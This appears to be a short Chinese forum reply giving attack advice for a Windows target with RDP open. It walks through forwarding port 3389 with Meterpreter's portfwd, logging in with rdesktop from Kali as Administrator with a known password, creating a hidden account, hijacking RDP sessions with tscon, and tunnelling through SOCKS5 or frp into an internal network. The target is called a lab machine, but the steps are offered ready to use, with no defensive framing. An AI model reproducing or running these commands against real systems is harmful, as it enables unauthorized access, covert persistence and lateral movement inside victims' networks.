如果开启了3389 并且你有密码的话你可以做一条隧道去连接他的3389 然后创建一个隐藏账号 然后rdp劫持 tscon 可以来回切换账号 具体你可以去百度上面找一下rdp劫持
在meterpreter模块输入portfwd add -l 5555 -p 3389 -r 192.168.10.10 （靶机ip）
在kali虚拟终端上输入rdesktop -u Administrator -p Windows2008 127.0.0.1:5555（-u 靶机用户名 -p靶机密码）
可以做隧道去链接 sock5
ftp+sock5可以试试，frp做内网代理还是比较稳定的。
